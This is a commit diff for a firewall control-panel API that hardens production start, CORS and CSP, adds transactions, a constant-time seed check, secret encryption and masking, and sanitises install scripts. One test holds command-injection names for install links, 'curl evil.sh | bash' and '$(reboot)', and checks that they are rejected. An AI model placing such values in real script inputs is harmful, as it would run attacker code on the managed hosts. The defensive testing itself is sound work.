fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов

- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов
  (opt-out через EVOFW_ALLOW_UNSAFE)
- CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA
- транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule,
  replaceIpListEntries
- install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных
  символов в RouterOS-рендере
- constant-time сравнение enroll-seed
- опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM)
  и маскирование per-list api_token в ответах
- graceful shutdown (SIGTERM/SIGINT) + тесты
This commit is contained in:
Denozordec
2026-09-20 18:51:47 +07:00
parent 45812fef6a
commit 40030ce06c
23 changed files with 493 additions and 69 deletions
+9
View File
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
# Server # Server
SERVER_PORT=8080 SERVER_PORT=8080
# Security hardening (prod)
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
# EVOFW_ALLOW_UNSAFE=false
# Разрешённые CORS-origins через запятую; пусто = только same-origin
# CORS_ORIGINS=https://fw.example.com
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
# EVOFW_SECRET_KEY=
+20 -2
View File
@@ -39,14 +39,32 @@ export async function buildApp(opts: BuildAppOptions = {}) {
app.setSerializerCompiler(serializerCompiler) app.setSerializerCompiler(serializerCompiler)
await app.register(import('@fastify/sensible')) await app.register(import('@fastify/sensible'))
// CSP only guards the served SPA; in dev the Vite server proxies API
// requests same-origin and injects its own HMR scripts.
await app.register(import('@fastify/helmet'), { await app.register(import('@fastify/helmet'), {
contentSecurityPolicy: false, contentSecurityPolicy:
config.staticDir !== null
? {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:'],
fontSrc: ["'self'", 'data:'],
// app-switcher talks to the auth portal directly from the browser
connectSrc: ["'self'", config.authPortalUrl],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
}
: false,
}) })
await app.register(import('@fastify/rate-limit'), { await app.register(import('@fastify/rate-limit'), {
max: 300, max: 300,
timeWindow: '1 minute', timeWindow: '1 minute',
}) })
await app.register(corsPlugin) await app.register(corsPlugin, { config })
await app.register(errorHandlerPlugin) await app.register(errorHandlerPlugin)
await app.register(dbPlugin, { config, memory: opts.memory }) await app.register(dbPlugin, { config, memory: opts.memory })
await app.register(authPlugin, { config }) await app.register(authPlugin, { config })
+74
View File
@@ -0,0 +1,74 @@
import { describe, it, expect, afterEach } from 'vitest'
import { loadConfig } from './config.js'
const SAVED: Record<string, string | undefined> = {}
const KEYS = [
'NODE_ENV',
'AUTH_REQUIRED',
'AUTH_JWT_SECRET',
'JWT_SECRET',
'EVOFW_ENROLL_SEED',
'EVOFW_ALLOW_UNSAFE',
]
afterEach(() => {
for (const k of KEYS) {
if (SAVED[k] === undefined) delete process.env[k]
else process.env[k] = SAVED[k]
}
})
function setEnv(vars: Record<string, string | undefined>) {
for (const [k, v] of Object.entries(vars)) {
if (!(k in SAVED)) SAVED[k] = process.env[k]
if (v === undefined) delete process.env[k]
else process.env[k] = v
}
}
describe('loadConfig production fail-safe', () => {
it('refuses insecure defaults in production', () => {
setEnv({
NODE_ENV: 'production',
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
setEnv({ AUTH_REQUIRED: 'true' })
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
setEnv({ AUTH_JWT_SECRET: 'short' })
expect(() => loadConfig()).toThrow(/real secret/)
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
})
it('starts with explicit opt-out or full production config', () => {
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
expect(() => loadConfig()).not.toThrow()
setEnv({
EVOFW_ALLOW_UNSAFE: undefined,
EVOFW_ENROLL_SEED: 'real-seed',
})
expect(() => loadConfig()).not.toThrow()
})
it('dev keeps permissive defaults', () => {
setEnv({
NODE_ENV: undefined,
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
const config = loadConfig()
expect(config.authRequired).toBe(false)
expect(config.corsOrigins).toEqual([])
})
})
+39 -4
View File
@@ -13,6 +13,8 @@ export interface AppConfig {
authAuditIngestSecret: string | null authAuditIngestSecret: string | null
publicBaseUrl: string publicBaseUrl: string
enrollSeed: string enrollSeed: string
corsOrigins: string[]
secretKey: string | null
} }
function boolEnv(v: string | undefined, fallback: boolean): boolean { function boolEnv(v: string | undefined, fallback: boolean): boolean {
@@ -20,16 +22,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
return v === '1' || v.toLowerCase() === 'true' return v === '1' || v.toLowerCase() === 'true'
} }
const DEV_JWT_SECRET = 'dev-secret-change-me'
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
export function loadConfig(): AppConfig { export function loadConfig(): AppConfig {
const isProd = process.env.NODE_ENV === 'production' const isProd = process.env.NODE_ENV === 'production'
const jwtSecret = const jwtSecret =
process.env.AUTH_JWT_SECRET ?? process.env.AUTH_JWT_SECRET ??
process.env.JWT_SECRET ?? process.env.JWT_SECRET ??
(isProd ? '' : 'dev-secret-change-me') (isProd ? '' : DEV_JWT_SECRET)
return { const config: AppConfig = {
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db', databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
jwtSecret: jwtSecret || 'dev-secret-change-me', jwtSecret: jwtSecret || DEV_JWT_SECRET,
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24, jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080, serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
staticDir: process.env.STATIC_DIR staticDir: process.env.STATIC_DIR
@@ -54,6 +59,36 @@ export function loadConfig(): AppConfig {
enrollSeed: enrollSeed:
process.env.EVOFW_ENROLL_SEED ?? process.env.EVOFW_ENROLL_SEED ??
process.env.BUNDLE_SEED_HEX ?? process.env.BUNDLE_SEED_HEX ??
'dev-enroll-seed-change-me', DEV_ENROLL_SEED,
corsOrigins: (process.env.CORS_ORIGINS ?? '')
.split(',')
.map((s) => s.trim().replace(/\/$/, ''))
.filter(Boolean),
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
} }
// Fail-safe: a production process must not start wide open or with
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
// opt-out for isolated/lab deployments.
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
const problems: string[] = []
if (!config.authRequired) {
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
}
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
problems.push('AUTH_JWT_SECRET is not set')
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
}
if (config.enrollSeed === DEV_ENROLL_SEED) {
problems.push('EVOFW_ENROLL_SEED is not set')
}
if (problems.length > 0) {
throw new Error(
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
)
}
}
return config
} }
+15 -2
View File
@@ -1,8 +1,21 @@
import type { FastifyInstance } from 'fastify' import type { FastifyInstance } from 'fastify'
import fp from 'fastify-plugin' import fp from 'fastify-plugin'
import type { AppConfig } from '../config.js'
async function corsPlugin(app: FastifyInstance) { async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
await app.register(import('@fastify/cors'), { origin: true }) const allowed = opts.config.corsOrigins
await app.register(import('@fastify/cors'), {
// The SPA is served same-origin (or via the Vite dev proxy), so by
// default only non-CORS (same-origin/server-side) requests pass.
// CORS_ORIGINS opens specific origins explicitly.
origin: (origin, cb) => {
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
cb(null, true)
} else {
cb(null, false)
}
},
})
} }
export default fp(corsPlugin, { name: 'cors' }) export default fp(corsPlugin, { name: 'cors' })
+10 -2
View File
@@ -1,5 +1,5 @@
import { readFileSync } from 'node:fs' import { readFileSync } from 'node:fs'
import { createHash } from 'node:crypto' import { createHash, timingSafeEqual } from 'node:crypto'
import { join } from 'node:path' import { join } from 'node:path'
import type { FastifyPluginAsync } from 'fastify' import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db' import { repos } from '@evofw/db'
@@ -18,6 +18,14 @@ import {
const scriptsDir = resolveAgentScriptsDir() const scriptsDir = resolveAgentScriptsDir()
/** Constant-time seed check; hash first so lengths always match. */
function seedMatches(presented: string | undefined, expected: string): boolean {
if (!presented) return false
const a = createHash('sha256').update(presented).digest()
const b = createHash('sha256').update(expected).digest()
return timingSafeEqual(a, b)
}
function sanitizeHostFirewall(raw: { function sanitizeHostFirewall(raw: {
rules?: unknown[] rules?: unknown[]
listeners?: unknown[] listeners?: unknown[]
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const seed = req.headers['x-evofw-seed'] const seed = req.headers['x-evofw-seed']
const expected = const expected =
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
if (!seed || String(seed) !== expected) { if (!seedMatches(String(seed ?? ''), expected)) {
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401) throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
} }
const body = enrollBodySchema.parse(req.body) const body = enrollBodySchema.parse(req.body)
+4 -3
View File
@@ -15,6 +15,7 @@ import {
} from '../services/lists/entries.js' } from '../services/lists/entries.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js' import { auditMutation } from '../services/audit.js'
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -32,7 +33,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id: l.id, id: l.id,
name: l.name, name: l.name,
type: l.type, type: l.type,
config_json: l.configJson, config_json: maskListConfig(l.configJson),
content_hash: l.contentHash, content_hash: l.contentHash,
refreshed_at: l.refreshedAt, refreshed_at: l.refreshedAt,
last_error: l.lastError, last_error: l.lastError,
@@ -52,7 +53,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id, id,
name: body.name, name: body.name,
type, type,
configJson: JSON.stringify(body.config ?? {}), configJson: sealListConfig({ ...(body.config ?? {}) }),
createdAt: new Date().toISOString(), createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(), updatedAt: new Date().toISOString(),
}) })
@@ -81,7 +82,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id: list!.id, id: list!.id,
name: list!.name, name: list!.name,
type: list!.type, type: list!.type,
config_json: list!.configJson, config_json: maskListConfig(list!.configJson),
created_at: list!.createdAt, created_at: list!.createdAt,
updated_at: list!.updatedAt, updated_at: list!.updatedAt,
} }
+6 -1
View File
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db' import { repos } from '@evofw/db'
import { putSettingsBodySchema } from '@evofw/shared' import { putSettingsBodySchema } from '@evofw/shared'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { encryptSecret } from '../services/secret-cipher.js'
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const body = putSettingsBodySchema.parse(req.body) const body = putSettingsBodySchema.parse(req.body)
for (const [k, v] of Object.entries(body)) { for (const [k, v] of Object.entries(body)) {
if (k === 'evobgp_api_token' && v === '********') continue if (k === 'evobgp_api_token' && v === '********') continue
repos.setSetting(app.db, k, v) repos.setSetting(
app.db,
k,
k === 'evobgp_api_token' ? encryptSecret(v) : v,
)
} }
return { ok: true } return { ok: true }
}) })
+14
View File
@@ -38,3 +38,17 @@ try {
app.log.error(err) app.log.error(err)
process.exit(1) process.exit(1)
} }
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
process.on(signal, () => {
app.log.info(`${signal} received, shutting down`)
app
.close()
.then(() => process.exit(0))
.catch((err) => {
app.log.error(err, 'error during shutdown')
process.exit(1)
})
})
}
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
describe('agents CRUD critical paths', () => { describe('agents CRUD critical paths', () => {
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
describe('install-links', () => { describe('install-links', () => {
@@ -112,6 +114,55 @@ describe('install-links', () => {
expect(row?.status).toBe('pending') expect(row?.status).toBe('pending')
}) })
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => { it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise const app = await appPromise
await app.ready() await app.ready()
+13 -3
View File
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8') return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
} }
/** Strip control characters that have no business inside generated scripts. */
function stripControlChars(s: string): string {
// eslint-disable-next-line no-control-regex
return s.replace(/[\x00-\x1f\x7f]/g, '')
}
function escapeRosString(s: string): string { function escapeRosString(s: string): string {
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"') // RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
return stripControlChars(s)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\$/g, '\\$')
} }
/** /**
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
platform: string platform: string
installLinkId: string installLinkId: string
}): string { }): string {
const cp = opts.cpUrl.replace(/\/$/, '') const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
const escape = (s: string) => s.replace(/'/g, `'\\''`) const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
const header = [ const header = [
'#!/usr/bin/env bash', '#!/usr/bin/env bash',
'# EvoFirewall short install link — env pre-set', '# EvoFirewall short install link — env pre-set',
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
async function enrollApprovedLinux( async function enrollApprovedLinux(
+2 -1
View File
@@ -12,6 +12,7 @@ import {
} from '@evofw/shared' } from '@evofw/shared'
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js' import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
import { uniqCidrs } from '../uniq.js' import { uniqCidrs } from '../uniq.js'
import { maskListConfig } from '../secret-cipher.js'
export function getListConfig(list: { export function getListConfig(list: {
configJson: string configJson: string
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
id: l.id, id: l.id,
name: l.name, name: l.name,
type: l.type, type: l.type,
config_json: l.configJson, config_json: maskListConfig(l.configJson),
content_hash: l.contentHash, content_hash: l.contentHash,
refreshed_at: l.refreshedAt, refreshed_at: l.refreshedAt,
last_error: l.lastError, last_error: l.lastError,
+6 -3
View File
@@ -8,6 +8,7 @@ import {
rebuildManualListEntries, rebuildManualListEntries,
} from './entries.js' } from './entries.js'
import { uniqCidrs } from '../uniq.js' import { uniqCidrs } from '../uniq.js'
import { decryptSecret } from '../secret-cipher.js'
function hashCidrs(cidrs: string[]): string { function hashCidrs(cidrs: string[]): string {
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}` return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
repos.replaceIpListEntries(db, listId, cidrs) repos.replaceIpListEntries(db, listId, cidrs)
} else if (list.type === 'evobgp_community') { } else if (list.type === 'evobgp_community') {
const apiUrl = const apiUrl =
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url') String(config.api_url ?? '') ||
repos.getSetting(db, 'evobgp_api_url') ||
''
const token = const token =
String(config.api_token ?? '') || decryptSecret(String(config.api_token ?? '') || null) ??
repos.getSetting(db, 'evobgp_api_token') decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
const communityId = String(config.community_id ?? '') const communityId = String(config.community_id ?? '')
if (!apiUrl || !token || !communityId) { if (!apiUrl || !token || !communityId) {
throw new Error('evobgp_api_url, token and community_id required') throw new Error('evobgp_api_url, token and community_id required')
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
async function createAgent( async function createAgent(
+2
View File
@@ -14,6 +14,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
async function enrollApprovedLinux( async function enrollApprovedLinux(
@@ -0,0 +1,64 @@
import { describe, it, expect, afterEach } from 'vitest'
import {
encryptSecret,
decryptSecret,
isEncryptedSecret,
sealListConfig,
maskListConfig,
} from './secret-cipher.js'
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
afterEach(() => {
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
})
describe('secret-cipher', () => {
it('passes values through when no key is configured', () => {
delete process.env.EVOFW_SECRET_KEY
expect(encryptSecret('plain')).toBe('plain')
expect(decryptSecret('plain')).toBe('plain')
expect(isEncryptedSecret('plain')).toBe(false)
})
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
expect(enc).not.toContain('super-secret-token')
expect(enc.startsWith('enc:v1:')).toBe(true)
expect(decryptSecret(enc)).toBe('super-secret-token')
// already-encrypted values are not double-encrypted
expect(encryptSecret(enc)).toBe(enc)
})
it('returns null for encrypted values when the key is missing or wrong', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const enc = encryptSecret('super-secret-token')
delete process.env.EVOFW_SECRET_KEY
expect(decryptSecret(enc)).toBeNull()
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
expect(decryptSecret(enc)).toBeNull()
})
it('seals and masks list config api_token', () => {
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
const sealed = sealListConfig({
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: 'abc',
})
expect(sealed).not.toContain('super-secret-token')
const parsed = JSON.parse(sealed) as { api_token: string }
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
const masked = maskListConfig(sealed)
expect(masked).toContain('********')
expect(masked).not.toContain('enc:v1:')
// configs without tokens pass through untouched
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
'{"api_url":"https://x"}',
)
})
})
+86
View File
@@ -0,0 +1,86 @@
import {
createCipheriv,
createDecipheriv,
randomBytes,
scryptSync,
} from 'node:crypto'
/**
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
* stored as before (plaintext) so existing deployments keep working.
*
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
* scrypt-derived per-value key.
*/
const PREFIX = 'enc:v1:'
function deriveKey(secret: string, salt: Buffer): Buffer {
return scryptSync(secret, salt, 32)
}
export function isEncryptedSecret(value: string): boolean {
return value.startsWith(PREFIX)
}
export function encryptSecret(value: string): string {
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret || !value || isEncryptedSecret(value)) return value
const salt = randomBytes(16)
const iv = randomBytes(12)
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
const tag = cipher.getAuthTag()
const payload = [salt, iv, tag, data]
.map((b) => b.toString('base64'))
.join(':')
return `${PREFIX}${payload}`
}
/**
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
* null for encrypted values that cannot be decrypted (key missing/rotated)
* so callers can treat the secret as unset instead of sending garbage.
*/
export function decryptSecret(value: string | null | undefined): string | null {
if (!value) return null
if (!isEncryptedSecret(value)) return value
const secret = process.env.EVOFW_SECRET_KEY?.trim()
if (!secret) return null
const parts = value.split(':')
if (parts.length !== 6) return null
try {
const salt = Buffer.from(parts[2]!, 'base64')
const iv = Buffer.from(parts[3]!, 'base64')
const tag = Buffer.from(parts[4]!, 'base64')
const data = Buffer.from(parts[5]!, 'base64')
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
decipher.setAuthTag(tag)
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
} catch {
return null
}
}
/** Encrypt secrets inside a list config before persisting it. */
export function sealListConfig(config: Record<string, unknown>): string {
if (typeof config.api_token === 'string' && config.api_token) {
config = { ...config, api_token: encryptSecret(config.api_token) }
}
return JSON.stringify(config)
}
/** Mask secrets inside a list config before returning it to clients. */
export function maskListConfig(configJson: string): string {
if (!configJson.includes('api_token')) return configJson
try {
const config = JSON.parse(configJson) as Record<string, unknown>
if (typeof config.api_token === 'string' && config.api_token) {
config.api_token = '********'
}
return JSON.stringify(config)
} catch {
return configJson
}
}
@@ -15,6 +15,8 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
secretKey: null,
} }
describe('settings + bumpAgentsForList', () => { describe('settings + bumpAgentsForList', () => {
+15 -13
View File
@@ -60,17 +60,19 @@ export function countEntriesByListIds(
} }
export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) { export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) {
db.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run() db.transaction((tx) => {
if (cidrs.length === 0) return tx.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run()
const now = new Date().toISOString() if (cidrs.length === 0) return
db.insert(ipListEntries) const now = new Date().toISOString()
.values( tx.insert(ipListEntries)
cidrs.map((cidr) => ({ .values(
id: crypto.randomUUID(), cidrs.map((cidr) => ({
listId, id: crypto.randomUUID(),
cidr, listId,
createdAt: now, cidr,
})), createdAt: now,
) })),
.run() )
.run()
})
} }
+40 -34
View File
@@ -170,11 +170,13 @@ export function setAgentPolicySets(db: Db, agentId: string, setIds: string[]) {
} }
} }
db.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run() db.transaction((tx) => {
setIds.forEach((setId, i) => { tx.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run()
db.insert(agentPolicySets) setIds.forEach((setId, i) => {
.values({ agentId, setId, sort: i * 10 }) tx.insert(agentPolicySets)
.run() .values({ agentId, setId, sort: i * 10 })
.run()
})
}) })
bumpAgentGeneration(db, agentId) bumpAgentGeneration(db, agentId)
} }
@@ -271,20 +273,22 @@ export function reorderPolicyRules(
throw new Error('ordered_ids must list every rule in the set exactly once') throw new Error('ordered_ids must list every rule in the set exactly once')
} }
// Temporary priorities to avoid UNIQUE collisions // Temporary priorities to avoid UNIQUE collisions
orderedIds.forEach((id, i) => { db.transaction((tx) => {
db.update(policyRules) orderedIds.forEach((id, i) => {
.set({ priority: 9000 + i, updatedAt: new Date().toISOString() }) tx.update(policyRules)
.where(eq(policyRules.id, id)) .set({ priority: 9000 + i, updatedAt: new Date().toISOString() })
.run() .where(eq(policyRules.id, id))
}) .run()
orderedIds.forEach((id, i) => { })
db.update(policyRules) orderedIds.forEach((id, i) => {
.set({ tx.update(policyRules)
priority: (i + 1) * 10, .set({
updatedAt: new Date().toISOString(), priority: (i + 1) * 10,
}) updatedAt: new Date().toISOString(),
.where(eq(policyRules.id, id)) })
.run() .where(eq(policyRules.id, id))
.run()
})
}) })
} }
@@ -316,21 +320,23 @@ export function listResolvedForRule(db: Db, ruleId: string) {
} }
export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) { export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) {
db.delete(policyRuleResolved) db.transaction((tx) => {
.where(eq(policyRuleResolved.ruleId, ruleId)) tx.delete(policyRuleResolved)
.run() .where(eq(policyRuleResolved.ruleId, ruleId))
if (cidrs.length === 0) return .run()
const now = new Date().toISOString() if (cidrs.length === 0) return
db.insert(policyRuleResolved) const now = new Date().toISOString()
.values( tx.insert(policyRuleResolved)
cidrs.map((cidr) => ({ .values(
id: crypto.randomUUID(), cidrs.map((cidr) => ({
ruleId, id: crypto.randomUUID(),
cidr, ruleId,
resolvedAt: now, cidr,
})), resolvedAt: now,
) })),
.run() )
.run()
})
} }
export function listOverrides(db: Db, agentId: string) { export function listOverrides(db: Db, agentId: string) {
+15 -1
View File
@@ -492,8 +492,22 @@ export const dashboardStatsSchema = z.object({
lists_total: z.number().int(), lists_total: z.number().int(),
}) })
/**
* Install-link client name. The name is embedded into generated bash /
* RouterOS install scripts, so it is limited to safe printable characters.
*/
export const installLinkNameSchema = z
.string()
.trim()
.min(1)
.max(64)
.regex(
/^[\p{L}\p{N}][\p{L}\p{N} .:_-]*$/u,
'Имя может содержать буквы, цифры и символы . : _ - (без перевода строк и кавычек)',
)
export const createInstallLinkBodySchema = z.object({ export const createInstallLinkBodySchema = z.object({
name: z.string().min(1), name: installLinkNameSchema,
platform: agentPlatformSchema.optional().default('linux'), platform: agentPlatformSchema.optional().default('linux'),
}) })